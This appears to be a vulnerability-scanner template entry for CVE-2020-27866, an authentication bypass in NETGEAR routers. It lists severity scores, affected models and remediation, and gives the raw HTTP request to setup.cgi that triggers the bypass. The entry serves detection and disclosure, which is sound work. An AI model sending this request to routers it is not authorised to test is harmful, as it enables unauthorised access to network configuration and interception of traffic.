| Title | NETGEAR - Authentication Bypass |
|---|---|
| Author | gy741 |
| Severity | High |
| Impact | Successful exploitation of this vulnerability can lead to unauthorized access to the router's settings, allowing an attacker to modify network configurations, intercept traffic, or launch further attacks. |
| Remediation | Apply the latest firmware update provided by NETGEAR to fix the authentication bypass vulnerability. |
| CVSS Score | 8.8 |
| EPSS Score | 0.9036 |
| CVE ID | CVE-2020-27866 |
| CWE ID | CWE-288,CWE-287 |
| Tags | cve cve2020 netgear auth-bypass vuln vkev |
NETGEAR R6020, R6080, R6120, R6220, R6260, R6700v2, R6800, R6900v2, R7450, JNR3210, WNR2020, Nighthawk AC2100, and Nighthawk AC2400 routers are vulnerable to authentication bypass vulnerabilities which could allow network-adjacent attackers to bypass authentication on affected installations.
GET /setup.cgi?todo=debug&x=currentsetting.htm HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
Connection: close
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